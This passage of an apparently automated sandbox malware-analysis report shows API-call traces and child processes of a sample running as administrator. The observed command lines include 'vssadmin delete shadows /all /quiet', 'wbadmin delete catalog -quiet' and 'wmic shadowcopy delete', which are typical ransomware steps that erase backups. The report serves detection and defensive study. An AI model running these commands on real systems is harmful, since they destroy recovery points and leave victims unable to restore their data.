| out: hHeap=0x350000) returned 1 [0119.733] GetProcessHeap () returned 0x350000 [0119.733] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x351ab0 | out: hHeap=0x350000) returned 1 [0119.733] GetProcessHeap () returned 0x350000 [0119.733] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x366510 | out: hHeap=0x350000) returned 1 [0119.733] GetProcessHeap () returned 0x350000 [0119.733] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x364610 | out: hHeap=0x350000) returned 1 [0119.733] GetProcessHeap () returned 0x350000 [0119.733] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x3697e0 | out: hHeap=0x350000) returned 1 [0119.734] _vsnwprintf (in: _Buffer=0x4a416340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x24f458 | out: _Buffer="\r\n") returned 2 [0119.734] _get_osfhandle (_FileHandle=1) returned 0x12c [0119.734] GetFileType (hFile=0x12c) returned 0x3 [0119.734] _get_osfhandle (_FileHandle=1) returned 0x12c [0119.734] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a40c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0119.734] WriteFile (in: hFile=0x12c, lpBuffer=0x4a40c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x24f428, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesWritten=0x24f428*=0x2, lpOverlapped=0x0) returned 1 [0119.734] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a3ff360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0119.734] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a40c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0119.734] _vsnwprintf (in: _Buffer=0x4a3feb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x24f468 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0119.735] _vsnwprintf (in: _Buffer=0x4a3febaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x24f468 | out: _Buffer=">") returned 1 [0119.735] _get_osfhandle (_FileHandle=1) returned 0x12c [0119.735] GetFileType (hFile=0x12c) returned 0x3 [0119.735] _get_osfhandle (_FileHandle=1) returned 0x12c [0119.735] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a40c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0119.735] WriteFile (in: hFile=0x12c, lpBuffer=0x4a40c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x24f458, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesWritten=0x24f458*=0x26, lpOverlapped=0x0) returned 1 [0119.735] _get_osfhandle (_FileHandle=0) returned 0x120 [0119.735] GetFileType (hFile=0x120) returned 0x3 [0119.735] _get_osfhandle (_FileHandle=0) returned 0x120 [0119.735] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.735] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0119.735] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e320, cchWideChar=1 | out: lpWideCharStr="emic shadowcopy delete\n-quiet\nquiet\n") returned 1 [0119.735] _get_osfhandle (_FileHandle=0) returned 0x120 [0119.735] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.736] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0119.736] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e322, cchWideChar=1 | out: lpWideCharStr="xic shadowcopy delete\n-quiet\nquiet\n") returned 1 [0119.736] _get_osfhandle (_FileHandle=0) returned 0x120 [0119.736] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.736] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0119.736] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e324, cchWideChar=1 | out: lpWideCharStr="ic shadowcopy delete\n-quiet\nquiet\n") returned 1 [0119.736] _get_osfhandle (_FileHandle=0) returned 0x120 [0119.736] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.736] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0119.736] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e326, cchWideChar=1 | out: lpWideCharStr="t shadowcopy delete\n-quiet\nquiet\n") returned 1 [0119.736] _get_osfhandle (_FileHandle=0) returned 0x120 [0119.736] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.736] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0119.736] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e328, cchWideChar=1 | out: lpWideCharStr="\nshadowcopy delete\n-quiet\nquiet\n") returned 1 [0119.736] _get_osfhandle (_FileHandle=0) returned 0x120 [0119.736] GetFileType (hFile=0x120) returned 0x3 [0119.736] _get_osfhandle (_FileHandle=0) returned 0x120 [0119.736] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.737] _get_osfhandle (_FileHandle=1) returned 0x12c [0119.737] GetFileType (hFile=0x12c) returned 0x3 [0119.737] _get_osfhandle (_FileHandle=1) returned 0x12c [0119.737] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="exit\n", cchWideChar=-1, lpMultiByteStr=0x4a40c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exit\n", lpUsedDefaultChar=0x0) returned 6 [0119.737] WriteFile (in: hFile=0x12c, lpBuffer=0x4a40c320*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x24f738, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesWritten=0x24f738*=0x5, lpOverlapped=0x0) returned 1 [0119.737] GetProcessHeap () returned 0x350000 [0119.737] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x4012) returned 0x36f630 [0119.737] GetProcessHeap () returned 0x350000 [0119.737] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36f630 | out: hHeap=0x350000) returned 1 [0119.737] GetProcessHeap () returned 0x350000 [0119.737] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xb0) returned 0x3697e0 [0119.737] GetProcessHeap () returned 0x350000 [0119.737] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x1a) returned 0x364610 [0119.738] GetConsoleOutputCP () returned 0x1b5 [0119.738] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a40bfe0 | out: lpCPInfo=0x4a40bfe0) returned 1 [0119.738] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0119.738] GetConsoleTitleW (in: lpConsoleTitle=0x24f6f0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0119.738] GetProcessHeap () returned 0x350000 [0119.738] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x14) returned 0x368900 [0119.738] GetProcessHeap () returned 0x350000 [0119.738] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x1a) returned 0x364640 [0119.738] GetProcessHeap () returned 0x350000 [0119.738] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x21c) returned 0x351ab0 [0119.739] GetConsoleTitleW (in: lpConsoleTitle=0x351ac0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0119.739] GetProcessHeap () returned 0x350000 [0119.739] RtlReAllocateHeap (Heap=0x350000, Flags=0x0, Ptr=0x351ab0, Size=0x80) returned 0x351ab0 [0119.739] GetProcessHeap () returned 0x350000 [0119.739] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x351ab0) returned 0x80 [0119.739] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - exit") returned 1 [0119.740] GetProcessHeap () returned 0x350000 [0119.740] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x351ab0 | out: hHeap=0x350000) returned 1 [0119.741] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 1 [0119.742] exit (_Code=0) Process: id = "3" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x374c6000" os_pid = "0x6a4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xa34" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 4 os_tid = 0x730 Thread: id = 5 os_tid = 0x78c Thread: id = 6 os_tid = 0x780 Thread: id = 7 os_tid = 0x10c Thread: id = 8 os_tid = 0x208 Process: id = "4" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x35527000" os_pid = "0x174" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "3" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:00058957" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 9 os_tid = 0x600 Thread: id = 10 os_tid = 0x648 Thread: id = 11 os_tid = 0x5b8 Thread: id = 12 os_tid = 0x544 [0055.352] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xefd780 | out: lpSystemTimeAsFileTime=0xefd780*(dwLowDateTime=0xa9d80da0, dwHighDateTime=0x1d6ad09)) [0055.352] GetCurrentProcessId () returned 0x174 [0055.352] GetCurrentThreadId () returned 0x544 [0055.352] GetTickCount () returned 0x1146816 [0055.352] QueryPerformanceCounter (in: lpPerformanceCount=0xefd788 | out: lpPerformanceCount=0xefd788*=17521159506) returned 1 [0055.352] malloc (_Size=0x100) returned 0x28e80 Thread: id = 13 os_tid = 0x7c8 Thread: id = 14 os_tid = 0x7cc Thread: id = 15 os_tid = 0x484 Thread: id = 16 os_tid = 0x318 Thread: id = 28 os_tid = 0xb64 Process: id = "5" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x34c2e000" os_pid = "0x7dc" os_integrity_level = "0x4000" os_privileges = "0x60814080" monitor_reason = "rpc_server" parent_id = "4" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:00058dfc" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 17 os_tid = 0x124 Thread: id = 18 os_tid = 0x620 Thread: id = 19 os_tid = 0x664 Thread: id = 20 os_tid = 0x6c0 Thread: id = 21 os_tid = 0x634 Thread: id = 22 os_tid = 0x304 Thread: id = 23 os_tid = 0xa18 Thread: id = 27 os_tid = 0xb9c Process: id = "6" image_name = "wbadmin.exe" filename = "c:\\windows\\system32\\wbadmin.exe" page_root = "0x6cad7000" os_pid = "0x5e4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xa34" cmd_line = "wbadmin delete catalog -quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 24 os_tid = 0x6c8 Thread: id = 25 os_tid = 0xb78 Thread: id = 26 os_tid = 0xb90 Thread: id = 29 os_tid = 0xb68 Thread: id = 30 os_tid = 0xb7c Thread: id = 31 os_tid = 0xb94 Process: id = "7" image_name = "wbengine.exe" filename = "c:\\windows\\system32\\wbengine.exe" page_root = "0x6ba44000" os_pid = "0xb34" os_integrity_level = "0x4000" os_privileges = "0x20860100" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0x1d8" cmd_line = "\"C:\\Windows\\system32\\wbengine.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\wbengine" [0xe], "NT AUTHORITY\\Logon Session 00000000:0005c387" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 32 os_tid = 0xb24 Thread: id = 33 os_tid = 0xb3c Thread: id = 34 os_tid = 0xb8c Thread: id = 35 os_tid = 0xb30 Thread: id = 36 os_tid = 0xb6c Thread: id = 37 os_tid = 0xb5c Thread: id = 38 os_tid = 0xb1c Thread: id = 54 os_tid = 0xacc Process: id = "8" image_name = "vdsldr.exe" filename = "c:\\windows\\system32\\vdsldr.exe" page_root = "0x6d491000" os_pid = "0x270" os_integrity_level = "0x4000" os_privileges = "0x20860100" monitor_reason = "rpc_server" parent_id = "7" os_parent_pid = "0x250" cmd_line = "C:\\Windows\\System32\\vdsldr.exe -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\wbengine" [0xe], "NT AUTHORITY\\Logon Session 00000000:0005c387" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 39 os_tid = 0xac4 Thread: id = 40 os_tid = 0x314 Thread: id = 41 os_tid = 0x34c Thread: id = 42 os_tid = 0xbe8 Thread: id = 43 os_tid = 0xad4 Thread: id = 44 os_tid = 0x310 Process: id = "9" image_name = "vds.exe" filename = "c:\\windows\\system32\\vds.exe" page_root = "0x6b151000" os_pid = "0x43c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "8" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\vds.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\vds" [0xe], "NT AUTHORITY\\Logon Session 00000000:0005c7e7" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 45 os_tid = 0xad0 Thread: id = 46 os_tid = 0xbdc Thread: id = 47 os_tid = 0x5d8 Thread: id = 48 os_tid = 0x64 Thread: id = 49 os_tid = 0x318 Thread: id = 50 os_tid = 0x600 Thread: id = 51 os_tid = 0x35c Thread: id = 52 os_tid = 0xbd8 Thread: id = 53 os_tid = 0x7e0 Thread: id = 55 os_tid = 0xadc Thread: id = 58 os_tid = 0x9c8 Thread: id = 59 os_tid = 0x6d8 Thread: id = 60 os_tid = 0x9d8 Thread: id = 61 os_tid = 0x9e8 Thread: id = 66 os_tid = 0x75c Thread: id = 67 os_tid = 0x74c Thread: id = 119 os_tid = 0x564 Thread: id = 126 os_tid = 0x708 Process: id = "10" image_name = "wmic.exe" filename = "c:\\windows\\system32\\wbem\\wmic.exe" page_root = "0x6bddd000" os_pid = "0xa4c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xa34" cmd_line = "wmic shadowcopy delete" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 56 os_tid = 0xb88 [0107.433] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f750 | out: lpSystemTimeAsFileTime=0x18f750*(dwLowDateTime=0xc7aeaa00, dwHighDateTime=0x1d6ad09)) [0107.433] GetCurrentProcessId () returned 0xa4c [0107.433] GetCurrentThreadId () returned 0xb88 [0107.433] GetTickCount () returned 0x1152ba3 [0107.433] QueryPerformanceCounter (in: lpPerformanceCount=0x18f758 | out: lpPerformanceCount=0x18f758*=22729311335) returned 1 [0107.434] GetModuleHandleW (lpModuleName=0x0) returned 0xff650000 [0107.434] __set_app_type (_Type=0x1) [0107.434] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff69ced0) returned 0x0 [0107.434] __wgetmainargs (in: _Argc=0xff6c2380, _Argv=0xff6c2390, _Env=0xff6c2388, _DoWildCard=0, _StartInfo=0xff6c239c | out: _Argc=0xff6c2380, _Argv=0xff6c2390, _Env=0xff6c2388) returned 0 [0107.452] ??0CHString@@QEAA@XZ () returned 0xff6c2ab0 [0107.515] malloc (_Size=0x30) returned 0x475a80 [0107.551] malloc (_Size=0x70) returned 0x477ab0 [0107.551] malloc (_Size=0x50) returned 0x475ac0 [0107.551] malloc (_Size=0x30) returned 0x477b30 [0107.551] malloc (_Size=0x48) returned 0x477b70 [0107.551] malloc (_Size=0x30) returned 0x477bc0 [0107.551] malloc (_Size=0x30) returned 0x477c00 [0107.551] ??0CHString@@QEAA@XZ () returned 0xff6c2f58 [0107.551] malloc (_Size=0x30) returned 0x477c40 [0107.551] ?Empty@CHString@@QEAAXXZ () returned 0x7fef4af482c [0107.551] SetConsoleCtrlHandler (HandlerRoutine=0xff695724, Add=1) returned 1 [0107.551] _onexit (_Func=0xff6af378) returned 0xff6af378 [0107.551] _onexit (_Func=0xff6af490) returned 0xff6af490 [0107.551] _onexit (_Func=0xff6af4d0) returned 0xff6af4d0 [0107.552] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0107.552] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0107.556] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0107.567] CoCreateInstance (in: rclsid=0xff6573a0*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xff657370*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0xff6c2940 | out: ppv=0xff6c2940*=0x1f21390) returned 0x0 [0108.071] GetCurrentProcess () returned 0xffffffffffffffff [0108.071] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x18f520 | out: TokenHandle=0x18f520*=0xf4) returned 1 [0108.071] GetTokenInformation (in: TokenHandle=0xf4, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18f518 | out: TokenInformation=0x0, ReturnLength=0x18f518) returned 0 [0108.071] malloc (_Size=0x118) returned 0x4763c0 [0108.071] GetTokenInformation (in: TokenHandle=0xf4, TokenInformationClass=0x3, TokenInformation=0x4763c0, TokenInformationLength=0x118, ReturnLength=0x18f518 | out: TokenInformation=0x4763c0, ReturnLength=0x18f518) returned 1 [0108.072] AdjustTokenPrivileges (in: TokenHandle=0xf4, DisableAllPrivileges=0, NewState=0x4763c0*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x9), (Luid.LowPart=0x2, Luid.HighPart=10, Attributes=0x0), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0xd), (Luid.LowPart=0x2, Luid.HighPart=14, Attributes=0x0), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x12), (Luid.LowPart=0x2, Luid.HighPart=19, Attributes=0x0), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x17), (Luid.LowPart=0x3, Luid.HighPart=24, Attributes=0x0), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x1d), (Luid.LowPart=0x3, Luid.HighPart=30, Attributes=0x0), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x23), (Luid.LowPart=0x2, Luid.HighPart=-1290794039, Attributes=0x13b5), (Luid.LowPart=0x0, Luid.HighPart=3399600, Attributes=0x0), (Luid.LowPart=0x67006f, Luid.HighPart=6357106, Attributes=0x46006d), (Luid.LowPart=0x730065, Luid.HighPart=4390973, Attributes=0x5c003a), (Luid.LowPart=0x67006f, Luid.HighPart=6357106, Attributes=0x20006d), (Luid.LowPart=0x65006c, Luid.HighPart=6029427, Attributes=0x6f0043))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0108.072] free (_Block=0x4763c0) [0108.072] CloseHandle (hObject=0xf4) returned 1 [0109.994] malloc (_Size=0x40) returned 0x4763c0 [0109.994] malloc (_Size=0x40) returned 0x476410 [0109.994] malloc (_Size=0x40) returned 0x476460 [0109.994] malloc (_Size=0x20a) returned 0x4764b0 [0109.994] GetSystemDirectoryW (in: lpBuffer=0x4764b0, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0109.995] free (_Block=0x4764b0) [0109.995] malloc (_Size=0x18) returned 0x477fb0 [0109.995] malloc (_Size=0x18) returned 0x33dfb0 [0109.995] malloc (_Size=0x18) returned 0x4764b0 [0109.995] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0109.995] SysStringLen (param_1="\\kernel32.dll") returned 0xd [0109.995] free (_Block=0x477fb0) [0109.995] free (_Block=0x33dfb0) [0109.995] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\kernel32.dll") returned 0x77940000 [0109.996] GetProcAddress (hModule=0x77940000, lpProcName="SetThreadUILanguage") returned 0x77956d40 [0109.996] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0109.996] FreeLibrary (hLibModule=0x77940000) returned 1 [0109.997] free (_Block=0x4764b0) [0109.997] _vsnwprintf (in: _Buffer=0x476460, _BufferCount=0x1f, _Format="ms_%x", _ArgList=0x18f148 | out: _Buffer="ms_409") returned 6 [0109.997] malloc (_Size=0x20) returned 0x4764b0 [0109.997] GetComputerNameW (in: lpBuffer=0x4764b0, nSize=0x18f520 | out: lpBuffer="XDUWTFONO", nSize=0x18f520) returned 1 [0109.997] lstrlenW (lpString="XDUWTFONO") returned 9 [0109.997] malloc (_Size=0x14) returned 0x33dfb0 [0109.997] lstrlenW (lpString="XDUWTFONO") returned 9 [0109.997] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x0, nSize=0x18f518 | out: lpNameBuffer=0x0, nSize=0x18f518) returned 0x7fffffdd000 [0109.999] GetLastError () returned 0xea [0109.999] malloc (_Size=0x40) returned 0x4764e0 [0109.999] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x4764e0, nSize=0x18f518 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x18f518) returned 0x1 [0110.134] lstrlenW (lpString="") returned 0 [0110.134] lstrlenW (lpString="XDUWTFONO") returned 9 [0110.134] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="", cchCount2=0) returned 3 [0110.137] lstrlenW (lpString=".") returned 1 [0110.137] lstrlenW (lpString="XDUWTFONO") returned 9 [0110.137] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2=".", cchCount2=1) returned 3 [0110.137] lstrlenW (lpString="LOCALHOST") returned 9 [0110.137] lstrlenW (lpString="XDUWTFONO") returned 9 [0110.137] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="LOCALHOST", cchCount2=9) returned 3 [0110.137] lstrlenW (lpString="XDUWTFONO") returned 9 